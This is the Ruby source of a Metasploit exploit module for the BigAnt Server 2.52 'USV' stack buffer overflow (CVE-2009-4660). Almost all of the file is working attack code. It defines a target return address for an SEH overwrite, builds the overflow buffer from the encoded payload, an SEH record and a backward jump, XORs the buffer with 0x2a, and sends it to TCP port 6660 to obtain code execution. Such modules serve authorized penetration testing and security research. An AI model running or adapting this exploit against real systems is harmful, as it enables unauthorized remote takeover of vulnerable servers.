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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
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        'Description' => %q{
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          This exploits a stack buffer overflow in the BigAnt Messaging Service,
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          part of the BigAnt Server product suite. This module was tested
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          successfully against version 2.52.
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          NOTE: The AntServer service does not restart, you only get one shot.
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        },
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        'Author' => [
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          'Lincoln',
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          'DouBle_Zer0',
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          'jduck'
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2009-4660' ],
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          [ 'OSVDB', '61386' ],
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          [ 'EDB', '10765' ],
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          [ 'EDB', '10973' ]
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'seh',
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        },
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        'Payload' => {
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          'Space' => (218 + 709 + 35),
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          'BadChars' => "\x2a\x20\x27\x0a\x0f",
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          # pre-xor with 0x2a:
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          # 'BadChars' => "\x00\x0a\x0d\x20\x25",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2009-12-29',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(6660)])
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  end
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  def exploit
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    connect
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    sploit = ""
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    sploit << payload.encoded
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    sploit << generate_seh_record(target.ret)
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    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
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    sploit << rand_text_alphanumeric(3)
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    sploit << [0xdeadbeef].pack('V') * 3
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    # the buffer gets xor'd with 0x2a !
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    sploit = sploit.unpack("C*").map { |c| c ^ 0x2a }.pack("C*")
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    print_status("Trying target #{target.name}...")
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    sock.put("USV " + sploit + "\r\n\r\n")
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    handler
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    disconnect
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  end
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end
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